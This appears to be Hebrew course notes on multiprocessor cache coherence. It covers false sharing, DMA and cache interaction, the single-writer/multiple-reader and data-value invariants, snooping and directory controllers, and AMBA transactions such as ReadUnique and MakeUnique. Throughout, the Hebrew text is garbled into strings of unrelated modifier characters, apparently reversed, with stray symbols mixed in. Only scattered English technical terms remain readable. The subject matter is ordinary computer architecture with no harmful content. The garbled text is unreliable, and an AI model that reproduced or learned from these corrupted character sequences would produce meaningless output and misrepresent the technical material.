ˢ˷˩-coherence granularity  ,ˢ˟ˣ˦ ˸˧˟˥˶ˬ ˸ˣ˧ˬˣ˵ˬ ˷˧ ˶˷˞˩ :˫˧˰ˣ˴˧˟ ˸ˮ˧˥˟ˬ ˢ˶˷˲ ˟˧˴ˬ ˢˤ ˪ˣˡˠ

˭˸˧ˮ  ˪ˡˣˠ˟ ˫˧ˮˣ˸ˮ ˸˶˟˰ˢˬ ˸˪˰ˣ˸ ˵˧˲ˢ˪cache line  ,ˢ˰ˣ˶ˠ ˸˧˟˥˶ˬ ˸ˣ˧ˬˣ˵ˬ ˷˧ ˶˷˞˩ ˨˞ ,ˢˬ˪˷

 ˶˸ˣ˧˪ ˪˧˟ˣˢ˪ ˪ˣ˪˰ ˶˟ˡˢcache misses  ˸˰˲ˣ˸ ˪˷˟false sharing. 

 ˫˧ˮˣ˷ ˫˧˟˧˩˶ ˭˧˟ ˸ˣ˧˦ˮ˶ˢˣ˵ 

 ˢ˶ˣ˴˟ ˷˥˶˸ˢ˪ ˪ˣ˩˧ ˫˧ˮˣ˸ˮˢ ˧ˣˮ˧˷ ,˫˧ˬ˧ˣ˯ˬ ˫˧˶˵ˬ˟ ˟˵˰ ˣ˟ ˪˲˦˪ ˪ˣ˩˧ ˞˪ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲ˢ˷

 ˧ˮˣˮˠˮˬ ˪˷ ˸ˣ˰˲˷ˢ˪ˣ˰˧˧  ,ˡ˟˰ˬˢ ˪˷˪˷ˬ˪  ˣˬ˩prefetching  ˫˧˲˸˸˷ˬ ˞˪˷ ˫˧˟˧˩˶ ˫ˣ˧˵ˣ ˸ˣ˞˶ˣˢ ˪˷

.˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲˟ ˢ ˸˶ˡ˯ˢ˪ ˸ˣˡ˰ˣ˧ˬˢ ˸ˣ˞˶ˣˢ˟ ˷ˬ˸˷ˢ˪ ˸˟˧˧˥ ˢˮ˩ˣ˸ˢ ,ˢ˪˞˩ ˫˧˟˴ˬ˟-cache 

 ˸ˣ˞˶ˣˢ ˣ˞invalidation ˷˧ˠˢ˷ ˥˧˦˟ˢ˪ ˧ˡ˩.˭˩ˬ ˶˥˞˪ ˸˧˦ˮ˶ˢˣ˵ ˢ˧ˢ˸ ˫˧ˮˣ˸ˮ˪ ˢ 

 ˸ˣ˞˶ˣˢ ˸ˣ˧˦ˮ˶ˢˣ˵ 

 ˣˬ˩ ˸ˣ˶ˣ˦˵˦˧˩˶˞˟ARM ˲˧˪˷ ,˸ˣ˶˥˞ ˸ˣ˶ˣ˦˵˦˧˩˶˞ˣ.˸ˣ˧˦ˮ˶ˢˣ˵ ˥˶˩ˢ˟ ˭ˮ˧˞ ˸ˣˡˣ˵˲ ˸ 

˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˣ˞˶ˣˢ ˢ˞˶ˣˢ˪  

instruction fetchҦinstruction fetch π  ˢ˲˧˪˷ ˫˰ ˸˧˟˵˰ ˞˪ ˸ˣ˧ˢ˪ ˢ˧ˣ˷˰ ˸ˣˡˣ˵˲ ˪˷ ˸˥˞ ˢ˲˧˪˷

.˸˧ˮ˩ˣ˸ˢ ˶ˡ˯ ˧˲˪ ˸ˬˡˣ˵ 

˸ˣ˧˦ˮ˶ˢˣ˵ ˢ˞˶ˣˢ ˫˧ˮˣ˸ˮ˪ 

instruction fetchҦdata fetch -  ˰˴˟˸ˬ ˶˷˞˩fetch  ˢˮ˧˞ ˢ˞˧˶˵ˢ ,˭ˣ˶˩˧ˤ˟ ˫ˣ˵˧ˬ ˣ˸ˣ˞ˬ ˢ˞˧˶˵ ˤ˞ˣ

.˧˦ˮ˶ˢˣ˵ ˭˲ˣ˞˟ ˫ˣ˵˧ˬ ˣ˸ˣ˞˪ ˢ˟˧˸˩ˢ ˸˞ ˸ˣ˞˶˪ ˸˟˧ˣ˥ˬ 
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˸ˣ˧˦ˮ˶ˢˣ˵ ˫˧ˮˣ˸ˮ ˢ˞˶ˣˢ˪  

data fetchҦinstruction fetch -  ˢ˧˶˥˞ˣ ˢ˞˧˶˵ ˸˰˴˟˸ˬ ˶˷˞˩fetch  ˢ˞˧˶˵ˢ ,˭ˣ˶˩˧ˤ˟ ˫ˣ˵˧ˬ ˣ˸ˣ˞ˬ

ˢ˷ ˭˩˸˧˧ ,˸ˣ˶˥˞ ˫˧˪˧ˬ˟ .˧˦ˮ˶ˢˣ˵ ˭˲ˣ˞˟ ˫ˣ˵˧ˬ ˣ˸ˣ˞˪ ˢ˟˧˸˩ˢ ˸˞ ˸ˣ˞˶˪ ˸˟˧ˣ˥ˬ ˢˮ˧˞-fetch  ˪˷

.˸ˬˡˣ˵ˢ ˢ˟˧˸˩˟ ˣ˷˰ˮ˷ ˫˧˧ˣˮ˧˷ˢ ˸˞ ˢ˞˶˧ ˞˪ ˢ˞˶ˣˢ 

 ˫˰ ˸˧˦ˮ˶ˢˣ˵ ˢ˷˧ˠDMA  

 ˪˷ ˢ˰ˬ˦ˢDMA  ˸˲˯ˣˢ ˧ˡ˧ ˪˰ ˦ˣ˷˲ ˰˴˟˸ˢ˪ ˢ˪ˣ˩˧ ˸˧˦ˮ˶ˢˣ˵ ˢ˶ˣ˴˟cache ˢ ˶˵˟˪ ˧˦ˮ˶ˢˣ˵-DMA ,

˪ ˣ˪ ˶˷˲˞ˬ˷ ˢˬˢ ˶˵˟ ,ˢˤ˩ ˪ˡˣˬ˟ .˸˩˶˰ˬˢ ˪˷ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˪ˣ˵ˣ˦ˣ˶˲˟ ˱˸˸˷ˢ-DMA  ˣˬ˩ ˠˢˮ˸˧

 ˸ˣ˞˧˶˵˷ ˥˧˦˟ˬ˷ ˢˬ ,˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˮ˧˥˟ˬ ˸˧ˡˣ˰˧˧ ˢ˟˧˪DMA  ˪˷ ˶˸ˣ˧˟ ˸˧ˮ˩ˡ˰ˢ ˢ˯˶ˠ˪ ˣ˟˧ˠ˧ ˡ˧ˬ˸

 ˪˷ ˸ˣ˟˧˸˩ˢ˷ˣ ,˫˧ˮˣ˸ˮˢ ˵ˣ˪˟DMA .˵ˣ˪˟ˢ ˪˷ ˫˧ˮ˷˧ˢ ˫˧˵˸ˣ˰ˢ ˪˩ ˪˷ ˪ˣ˦˧˟ ˣ˰˴˟˧ 

 ˸˲˯ˣˢ ,˸˞ˤ ˫˰cache ˮ˶ˢˣ˵ ˶˵˟˪ ˧˦DMA :˸ˣˮˣ˷ ˸ˣ˟˧˯ˬ ˸˧˪ˬ˧˦˲ˣ˞ ˡ˧ˬ˸ ˢˮ˧˞ 

мΦ  ˧˶˵˟ ˪˷ ˸ˣ˧ˬˣ˵ˬ ˧˯ˣ˲ˡDMA  ˧˶˵˟ ˸ˣ˵ˣ˥˶ ˫˧˸˧˰˪ ,˸ˣ˧˪ˮˣ˧˴ˮ˟ˮˣ˵ ˸ˣ˟˧˪ ˪˷ ˣ˪˞ˬ ˡˣ˞ˬ ˫˧ˮˣ˷

DMA ˢ ,˭˩˪ .˭ˣ˶˩˧ˤˢ ˨˶ˡ ˸ˣˬ˶ˣˤ ˸ˣ˷˧ˠˢˣ ˶˴˵ ˭ˬˤ ˥ˣˣ˦˟ ˟ˣ˷ ˫˧ˮˣ˸ˮ ˫˸ˣ˞˟ ˫˧˷ˬ˸˷ˬ-cache  ˪˷

DMA  .ˣ˪ˡˣˠˬ ˵˧˲ˢ˪ ˭˸˧ˮ˷ ˸˪˰ˣ˸ˢ ˸˞ ˟˦˧ˢ ˪˴ˮˬ ˞˪ ˪˪˩ ˨˶ˡ˟ 

нΦ  ˶˵˟ ˶˷˞˩DMA  ˸˞ ˨˲ˣˢ˷ ˢˬ ,˸˥˞ ˸˟˟ ˵ˣ˪˟ˢ ˪˩ ˸˞ ˟ˣ˸˩˪ ˢ˦ˣˮ ˞ˣˢ ,˵ˣ˪˟˪ ˢ˟˧˸˩ ˰˴˟ˬ

 ˣˬ˩ ˢ˪ˣ˰˲ ˸ˣ˰˴ˬ˞˟ ˵ˣ˪˟ˢ ˸˲˧˪˷ReadUnique  ˧˪˵ˣ˦ˣ˶˲˟)AMBA ˪˩˷ ˭ˣˣ˧˩ˬ ,˸˧ˮˤ˟ˤ˟˪ (

ˬ ˫˧ˮˣ˷ ˸ˣ˧˦ˮ˶ˢˣ˵ ˧˪ˣ˵ˣ˦ˣ˶˲ .˫˧˲˪˥ˣˬ ˫˧ˮˣ˸ˮˢ ˸ˣ˪ˣ˰˲˟ ˷ˣˬ˧˷ ˧ˡ˧ ˪˰ ˢ˪˞˩ ˫˧˟˴ˬ˟ ˫˧˪˲˦

 ˠˣ˯ˬ ˢ˷ˡ˥ ˢ˷˵˟ ˸˲˯ˣˢ ˣˬ˩ ,˸ˣˡ˥ˣ˧ˬ ˸ˣ˧˦ˮ˶ˢˣ˵MakeUnique  ˫˞ ˵˶ ˢ˟˧˸˩˪ ˢ˞˷˶ˢ ˷˵˟˸˷

 ˸˰ˡˣˢ˟ ˷ˣˬ˧˷ ˞˧ˢ ,˸˲˯ˣˮ ˸ˣ˶˷˲˞ .˫˧˷ˡ˥ ˫˧ˮˣ˸ˮ ˪˷ ˢ˥˧˪˷ ˷ˣ˶ˡ˸ ˞˪ˣ ˢ˟˧˸˩˟ ˶˟ˣˡˬ

WriteUniqueFull˵˸ˣ˰ˢ ˪˩ ˸˞ ˸˪˦˟ˬˣ ˭ˣ˶˩˧ˤ˟ ˵ˣ˪˟ˢ ˸˞ ˸ˮ˩ˡ˰ˬ˷ , ˫˧˵˸ˣ˰ˢ ˪˪ˣ˩ ,˫˧˶˥˞ˢ ˫˧

 ˪˷ ˫˧˟˴ˬ˟UD x-SD. 

 ˪˷ ˸ˣ˧˦ˮ˶ˢˣ˵˟ ˨˶ˣ˴ˢˬ ˰ˮˬ˧ˢ˪ ˞˧ˢ ˸˲˯ˣˮ ˸ˣ˶˷˲˞cache  ˢ˪˰˲ˢˢ ˸˩˶˰ˬˬ ˢ˷˧˶ˡ ˧ˡ˧ ˪˰ ˢ˶ˬˣ˥

ˢ ˸˞ ˱ˣ˦˷˪-cache  ˸˪˥˸ˢ ˧ˮ˲˪ ,ˢˬˠˣˡ˪ .˸˧˟˧˦˵˪˯ ˢ˶ˣ˴˟DMA ˟ ˢ˟˧˸˩ ˣ˞ ˢ˞˧˶˵˪-page  ,˫˧ˣ˯ˬ

ˢ ˪˩ ˸˞ ˳˪˞˪ ˢ˪ˣ˩˧ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ-cache-˷˪ ˫˧ˢ ˸˞ ˱ˣ˦-page  ˧ˣˬˡ ˪ˣ˵ˣ˦ˣ˶˲ ˸ˣ˰˴ˬ˞˟ ˰ˠˣˮˢTLB 

Shootdown  ˧ˣ˵˧ˮ˪ ˸˶˥˞ ˸˧˸˶ˬˣ˥ ˢ˩˧ˬ˸ ˸ˣ˰˴ˬ˞˟ ˣ˞page- ˢ˪˧˰˧ ˸ˣ˥˲˪ ˸˟˷˥ˮ ˣˤ ˢ˷˧ˠ .˫˧

 ˸ˣ˩˶˰ˬ˪ ˪˪˩ ˨˶ˡ˟ ˸ˡ˰ˣ˧ˬˣembeddedˢ ˪˩ ˸˞ ˱ˣ˦˷˪ ˢ˩˧˶˴ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˷ ˭ˣˣ˧˩ˬ ,-page  ˭˲ˣ˞˟

.˫˧˷˶ˡˮˢ ˫˧˴˟˵˟ ˞˴ˬˮ ˣˮˬˬ ˭˦˵ ˵˪˥ ˵˶ ˫˞ ˫ˠ ,˧ˮ˶ˬ˷ 

 ˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲ 

 ˫˧˷ˣˬ˧ˬ˟ ˫˧˩ˬˣ˸ˢ-caching  ˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲˟ ˶ˤ˰˧ˢ˪ ˫˧˟˧˧˥cache  ˸ˣ˧˦ˮ˶ˢˣ˵ ˪˰ ˶ˣˬ˷˪ ˸ˮˬ ˪˰

ˢ ˭˧˟˪ ˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢ ˭˧˟-cache ˢ ˭˧˟ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪˰ ˢ˶˧ˬ˷ˣ-cache-.˫ˬ˴˰ ˫˧ 
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 ˨ˣ˸˟ ˫˧˶ˤˣ˟ˬ ˫˧ˡ˟˰ˬ ˪˷ ˢ˴ˣ˟˵ ˧ˡ˧ ˪˰ ˸ˬ˷ˣ˧ˬˢ ˫˧˪˪˩ ˪˷ ˸˩˶˰ˬ ˞ˣˢ ,˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲

ˠˬ ˫˧ˬ˧˧˵ .˸˩˶˰ˬˢ ˸ˣ˥˧˦˟ˬ ˸ˣ˧˴˞˧˶ˣˣˢ ˪˩˷ ˞ˣˢ ˧ˤ˩˶ˬˢ ˭ˣ˶˵˰ˢ ˨˞ ,˸ˣ˧˦ˮ˶ˢˣ˵ ˧˪ˣ˵ˣ˦ˣ˶˲ ˪˷ ˟˥˶ ˭ˣˣ

ˢ ˪˩˪ ˢ˟˧˸˩ˢ ˸˴˲ˢ ˧ˡ˧ ˪˰ ˫˧ˡ˟˰ˬˢ ˶˞˷˪ ˢ˧ˣ˪ˠ ˢ˧ˢ˸ ˡ˥˞ ˡ˟˰ˬ ˪˷ ˢ˟˧˸˩ˢ˷-cache-.˫˧ 

ˣˮ˧˞ˢ ˸˲˧˩˞ ˧ˡ˧ ˪˰ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪˰ ˶ˬˣ˷ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲ˣ:˫˧˞˟ˢ ˫˧˦ˮ˞˧˶ 

мΦ ) ˫˧˞˶ˣ˵ ˧ˣ˟˧˶ˣ ˡ˥˞ ˟˸ˣ˩Single-Writer, Multiple-Read (SWMR)( ˭ˣ˶˩˧ˤ ˫ˣ˵˧ˬ ˪˩ ˶ˣ˟˰ :A ˪˩˟ ,

˪ ˟ˣ˸˩˪ ˢ˪ˣ˩˧˷ ˡ˟˪˟ ˸˥˞ ˢ˟˧˪ ˵˶ ˢˮ˷˧ ,(˧ˠˣ˪) ˭ˣ˸ˮ ˭ˬˤ-A  ˶˲˯ˬ ˣ˞ ,(ˢ˸ˣ˞ ˞ˣ˶˵˪ ˫ˠ ˢ˪ˣ˩˧ˣ)

 ˸˞ ˞ˣ˶˵˪ ˸ˣ˪ˣ˩˧˷ ˸ˣ˟˧˪A .ˣ˧˪˞ ˟ˣ˸˩˪ ˧˪˟ˬ ˡ˟˪˟ 

нΦ ) ˧ˣˮ˧˷ ˞˪˪ ˨˶˰Data-Value Invariant( ˭ˣ˶˩˧ˤˢ ˫ˣ˵˧ˬ ˪˷ ˨˶˰ˢ : ˢˢˤ ˸ˣ˧ˢ˪ ˟˧˧˥ ˭ˡ˧˰ ˸˪˧˥˸˟

.ˢ˟˧˸˩ ˣ˞ ˢ˞˧˶˵ ˢ˰˴ˣ˟ ˣ˟˷ ˫ˡˣ˵ˢ ˭ˡ˧˰ˢ ˱ˣ˯˟ ˭ˣ˶˩˧ˤ ˫ˣ˵˧ˬ ˣ˸ˣ˞ ˪˷ ˨˶˰˪ 

ˮ˧˞ˢ ˸˞ ˫˷˧˧˪ ˧ˡ˩ˣ ˪˩ ,˭ˣ˯˥˞ ˢˮ˟ˬ ˪˩˪ ˫˧˶˷˵ˬ ,ˣ˪˪ˢ ˫˧˦ˮ˞˧˶ˣcache  ˧˲ˣ˯ ˟˴ˬ ˸ˮˣ˩ˬ ˭ˣ˶˩˧ˤˣ

) ˸ˣ˧˦ˮ˶ˢˣ˵ ˶˵˟ ˸˞˶˵ˮ˷coherence controller˪ˢ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˧˶˵˟ ˪˷ ˱˯ˣ˞ˢ .( ˸˩˶˰ˬ ˶˴ˣ˧ ˣ˪

 ˶ˬˣ˷ ˭ˣ˶˩˧ˤ ˵ˣ˪˟ ˪˩˷ ˥˧˦˟ˢ˪ ˸ˮˬ ˪˰ ,˸ˣ˰ˡˣˢ ˸ˣ˰˴ˬ˞˟ ˢˤ ˫˰ ˢˤ ˫˧˶˷˵˸ˬ ˫˧˶˵˟ˢ ˢ˟˷ ˸˶ˤˣ˟ˬ

ˣˮ˧˞ˢ ˪˰ˣ ˫˧˦ˮ˞˧˶SWMR x-Data-Value .˭ˬˤ ˨˶ˣ˞˪ 

 ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˧˶˵˟ .˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˪ˣ˵ˣ˦ˣ˶˲ ˧ˡ˧ ˪˰ ˸ˣ˶ˡˠˣˬ ˣ˪˪ˢ ˧˲ˣ˯ˢ ˟˴ˬˢ ˸ˣˮˣ˩ˬ ˭˧˟ ˸ˣ˧˴˵˞˶˦ˮ˧˞ˢ

˧ˬˣ˥˸ ˶˲˯ˬ˪ ˫˧˞˶˥˞˟ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˶˵˟ :˫-cache ˶˵˟ ˫˧˸˧˰˪ ˞˶˵ˮ ,ˢˬˠˣˡ˪ ,cache. 

ˢ ˶˵˟-cache :˫˧˧˶˵˧˰ ˸ˣ˶ˣ˵ˬ ˧ˮ˷ˬ ˸ˣ˷˵˟˟ ˪˲˦˪ ˧˞˶˥˞ 

¶ ˢ˟˧˪ˢ ˡ˴˟ˢ ˶˵˟ :-cache  ˸ˣ˟˧˸˩˪ˣ ˸ˣ˞˧˶˵˪ ˸ˣ˷˵˟ ˪˟˵ˬ ˞ˣˢ .ˡ˟˰ˬˢ ˸˟˧˪ ˫˰ ˶˷˵˸ˬ

 ˷˥˶˸ˬ ˶˷˞˩ .ˢ˟˧˪˪ ˸ˣ˞˧˶˵ˢ ˧˩˶˰ ˸˞ ˶˧ˤ˥ˬˣ ˢ˟˧˪ˢˬcache miss ˢ˧˴˵ˤˮ˶˦ ˫ˤˣ˧ ˶˵˟ˢ ,

 ˪˧˩ˬˢ ˵ˣ˪˟ˢ ˶ˣ˟˰ ,ˡ˟˪˟ ˢ˞˧˶˵ ˸˞˷˶ˢ˪ ˢ˷˵˟ ˣˬ˩ ,˸ˣ˧˦ˮ˶ˢˣ˵ ˸˷˵˟ ˸˥˧˪˷ ˧ˡ˧ ˪˰ ˸˧˦ˮ˶ˢˣ˵

 ˸˷˶ ˨˶ˡ ˸˥˪˷ˮ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸˷˵˟ .ˢ˟˧˪ˢ ˣ˧˪˞ ˸˷ˠ˧ˮ˷ ˫ˣ˵˧ˬˢ ˸˞interconnection  ˧˶˵˟˪

ˢ ˸ˣ˰ˡˣˢˢ ˶˞˷ ˸˞ ˭˩ˣ ˢ˷˵˟ˢ ˸˞ ˸˪˪ˣ˩ ˣˤ ˢ˧˴˵ˤˮ˶˦ .˸˩˶˰ˬ˟ ˫˧˶˥˞ ˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˣ˷˶ˡˮ

 ˧ˠˣ˯ .˷˵˟ˬ˪ ˶˥˞ ˸ˣ˧˦ˮ˶ˢˣ˵ ˶˵˟ˬ ˸ˣ˥˪˷ˮ˷ ˫˧ˮˣ˸ˮ ˫˰ ˢ˟ˣˠ˸ ˸ˣ˰ˡˣˢ ˭ˣˠ˩ ,ˢ˸ˬ˪˷ˢ˪

 ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˪ˣ˵ˣ˦ˣ˶˲˪ ˫˞˸ˢ˟ ˫˧ˮ˸˷ˬ ˢ˧˴˵ˤˮ˶˦ ˪˩ ˸˶ˠ˯ˬ˟ ˸ˣ˥˪˷ˮ˷ ˸ˣ˰ˡˣˢˢˣ ˸ˣ˧˴˵ˤˮ˶˦ˢ

.˸˩˶˰ˬ˟ ˧˲˧˴˲˯ˢ 

¶  ˸˷˶ˢ ˡ˴˟Interconnectionˢ ˶˵˟ :-cache  ˸˷˶ ˨˶ˡ ˸˩˶˰ˬˢ ˶˞˷ ˫˰ ˶˷˵˸ˬ

interconnection ˸ˣ˰ˡˣˢˢ ˡˣ˟˧˰ .ˡ˟˰˪ ˨˧˶˴˷ ˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˣ˟ˣˠ˸ˣ ˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˣ˷˵˟ ˪˟˵ˬ ˞ˣˢ .

.˸˩˶˰ˬ˟ ˪ˢˣˮˬˢ ˧˲˧˴˲˯ˢ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˪ˣ˵ˣ˦ˣ˶˲˟ ˞ˣˢ ˫ˠ ˧ˣ˪˸ ˸ˣ˯ˮ˩ˮˢ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ 

 ˶˵˟˪ ˢˬˣˡ ˭ˣ˶˩˧ˤ ˶˵˟cache ˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˣ˷˵˟ ˞˧˴ˣˬ ˞˪ ˞ˣˢ ,˶ˬˣ˪˩ .˸˷˶ ˡ˴ ˵˶ ˣ˪ ˷˧ ˪˪˩ ˨˶ˡ˟ ˨˞ ,

 ˸ˣ˪ˣ˰˲ ˶ˣ˟˰.˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˣ˟ˣˠ˸ ˪˟˵ˬ ˞˪ˣ ,ˢ˟˧˸˩ ˣ˞ ˢ˞˧˶˵ 
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-sagent- ˧ˮ˵˸ˢ ˣˬ˩ ,˸˩˶˰ˬ˟ ˫˧˶˥˞ ˫˧io ˧˶˵˟ ˣˬ˩ ˠˢˮ˸ˢ˪ ˫˧˧ˣ˷˰ ,cache ˸˞ ˟˪˷˪ ˣ˞ ˭ˣ˶˩˧ˤ ˧˶˵˟ ,

 ˸ˣˮˣ˩ˬ ˸˴ˣ˟˵ ˧˲ ˪˰ ˪˰ˣ˲ ˸ˣ˧˦ˮ˶ˢˣ˵ ˶˵˟ ˪˩ .˫ˢ˪˷ ˫˧˧˲˧˴˲˯ˢ ˫˧˩˶˴˪ ˫˞˸ˢ˟ ,˫ˢ˧ˮ˷ ˪˷ ˫˧ˮ˩˸ˢ

 ˧˲ˣ˯ ˟˴ˬ- ˞ ˧˲ˣ˯ ˟˴ˬ ˸ˮˣ˩ˬ ,ˢ˷˰ˬ˪ ˧ˠˣ˪ ˭˲ˣ˞˟ ˵ˣ˪˟ ˪˩ ˶ˣ˟˰ ˸˥-  ˸ˣ˰ˡˣˢ ˭ˣˠ˩) ˫˧˰ˣ˶˧˞ ˡ˟˰ˬˣ

 ,˫˧ˣ˯ˬ ˰ˣ˶˧˞ ˶˷˞˩ .˵ˣ˪˟ˢ ˪˷ ˧˥˩ˣˮˢ ˟˴ˬ˪ ˫˞˸ˢ˟ (˸ˣ˯ˮ˩ˮ ˸ˣ˧˦ˮ˶ˢˣ˵E  ˸˷˵˟ ,˪˷ˬ˪)store 

 ˵ˣ˪˟ ˶ˣ˟˰ ˷˥˶˸ˬ ,(ˢ˟˧˪ˢˬB ˸ˣ˧˦ˮ˶ˢˣ˵ ˸˷˵˟ ˸˞˴ˣˢ ˭ˣˠ˩) ˸ˣ˪ˣ˰˲ ˰˴˟ˬ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˶˵˟ ,

ˢ˞˧˶˵ ˸˞˷˶ˢ˪-˰ˣ˶˧˞˟ ˸ˣ˧ˣ˪˸ˢ (ˢ˟˧˸˩ E  ˪˷ ˧˥˩ˣˮˢ ˟˴ˬ˟ˣB ˶˵˟ˢ ,ˣ˪˪ˢ ˸ˣ˪ˣ˰˲ˢ ˰ˣ˴˧˟ ˶˥˞˪ .

 ˵ˣ˪˟ˢ ˟˴ˬ ˸˞ ˭˩ˡ˰˪ ˧ˣ˷˰B .˫˞˸ˢ˟ 

 ˫˧˪˪ˣ˩ ˢ˪˞ ˫˧˪ˡ˟ˢ .˫˧ˮˣ˷ˢ ˶˵˟ˢ ˧˦˶˲ˬ˟ ˸ˣˮˣ˷ˢˬ ˫˧˰˟ˣˮ ˸ˣ˧˦ˮ˶ˢˣ˵ ˧˪ˣ˵ˣ˦ˣ˶˲ ˭˧˟ ˫˧˪ˡ˟ˢˢ

.˫˧˟˴ˬ ˭˧˟ ˫˧˶˟˰ˬˣ ˫˧˰ˣ˶˧˞ ,˸ˣ˧˴˵ˤˮ˶˦ ,˵ˣ˪˟ ˧˟˴ˬ ˪˷ ˸ˣˮˣ˷ ˸ˣ˴ˣ˟˵ 

 ˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲ ˧ˮ˧˧˲˞ˬ 

˧ˮ˧ˬ ˪˩ ˫˧ˬ˧˧˵  ˸ˣ˞˶˪ˣ ˸ˣ˴ˣ˟˵˪ ˫˧˪ˣ˵ˣ˦ˣ˶˲ˢ ˸˞ ˵˪˥˪ ˶˷˲˞ ˫˸˶ˤ˰˟ˣ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲˪ ˫˧ˮ˧˧˲˞ˬ

.˫˧˪ˣ˵ˣ˦ˣ˶˲ˢ ˭˧˟ ˸ˣ˦˪ˣ˟ ˸ˣˮˣ˩˸ 

 ˭ˣ˶˩ˮ˯ ˧ˮ˧˧˲˞ˬ 

 ˧˪ˣ˵ˣ˦ˣ˶˲ ˪˷ ˫˧˧˶˵˧˰ ˫˧ˠˣ˯ ˧ˮ˷ ˫˧ˬ˧˧˵ ,˫˧˧˵˸˧˷ ˭ˣ˶˩ˮ˯ˢ ˭˲ˣ˞˟ˣ ˧ˡ˰ˣˬ˟ ˫˧ˮˣ˷ ˫˧˪ˣ˵ˣ˦ˣ˶˲ˢ

:˸ˣ˧˦ˮ˶ˢˣ˵ 

мΦ ˪ ˢ˟˧˸˩ ˸˴˲ˢ ˰˴˟ˬ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˪ˣ˵ˣ˦ˣ˶˲ ,ˢˮˣ˷˞˶ˢ ˢ˷˧ˠ˟-cache- ,˶ˬˣ˪˩ .˧ˮˣ˶˩ˮ˧˯ ˭˲ˣ˞˟ ˫˧

.˪˧˟˵ˬ˟ ˫˪ˣ˩˪ ˸˶˟˰ˣˬ ˢ˟˧˸˩ˢ 

нΦ ˮ˶ˢˣ˵ˢ ˪ˣ˵ˣ˦ˣ˶˲ ,ˢ˧˧ˮ˷ˢ ˢ˷˧ˠ˟ ˸˴˲ˣˬ ˢ˟˧˸˩ˢ ,˶ˬˣ˪˩ .˧ˮˣ˶˩ˮ˧˯˞ ˭˲ˣ˞˟ ˢ˴˲ˢˢ ˸˞ ˰˴˟ˬ ˸ˣ˧˦

.˸˩˶˰ˬˢ ˪˷ ˸ˣ˧˟˵˰ˢ ˪ˡˣˬ ˪˰ ˢ˶˧ˬ˷ ˨ˣ˸ ,ˢˠ˶ˡˢ˟ 

 ˧ˮ˲˪ ˰˴˟˸ˢ˪ ˢ˧ˣ˷˰ ˢ˟˧˸˩ˢ˷ ˶ˬˣ˞˷ ˢˬ .˧ˮˣ˶˩ˮ˧˯˞ ˭˲ˣ˞˟ ˸˴˲ˣˬ ˟ˣ˶˪ ˢ˟˧˸˩ ,˫˧˧ˮ˶ˡˣˬ ˫˧ˡ˟˰ˬ˟

 ˢ˧˧˲˴˪ ˪˧˟ˣˢ˪ ˪ˣ˩˧ ˢˤ ˨˧˪ˢ˸ .˸˩˶˰ˬ˟ ˫˧ˡ˟˰ˬˢ ˪˩˪ ˢ˧ˣ˪ˠ˪ ˸˩˲ˣˢ ˞˧ˢ˷ .˸ˬ˞ ˭ˬˤ˟ ˫˧ˮ˷ˣ˧ˬ ˫˧˩˶˰˟

 ˢ˟˧˸˩ˢ ˣ˟˷ ˶ˡ˯ˢ˷ ˥˧˦˟ˢ˪ ˫˧˩˧˶˴ ˸ˣ˧˦ˮ˶ˢˣ˵ ˧˪ˣ˵ˣ˦ˣ˶˲ ,ˢˮˣ˩ˮ ˸ˣ˧˟˵˰ ˪˰ ˶ˣˬ˷˪ ˧ˡ˩ ,˸˞ˤ ˫˰

.˸˩˶˰ˬˢ ˪˷ ˸ˣ˧˟˵˰ˢ ˪ˡˣˬ ˧ˡ˧ ˪˰ ˣ˰˟˵ˮ˷ ˶ˡ˯ˢ ˧˪˪˩˪ ˫˞˸ˢ˟ ˢ˧ˢ˧ ˢ˧ˣ˪ˠ˪ ˸˩˲ˣˢ 

˫˧ˡ˟˰ˬˢ ˭˧˟ˣ ˡ˟˰ˬˢ ˨ˣ˸˟ ˸ˣ˧˦ˮ˶ˢˣ˵ 

ˮ ,˪˪˩ ˨˶ˡ˟ ˸ˣ˧˦ˮ˶ˢˣ˵˟ ˫˧˧˶˵˧˰ ˫˧˟˧˩˶ˬ ˧ˮ˷ ˭˧˟ ˭˧˥˟ˢ˪ ˭˸˧cache: 

¶ ˢ ˸˧˧˩˶˶˧ˢ ˨ˣ˸˟ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˪ˣˢ˧ˮ˟ ˪˲˦ˬ˷ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˪ˣ˵ˣ˦ˣ˶˲-cache .ˡ˶˲ˮ˟ ˡ˟˰ˬ ˪˩ ˪˷ 

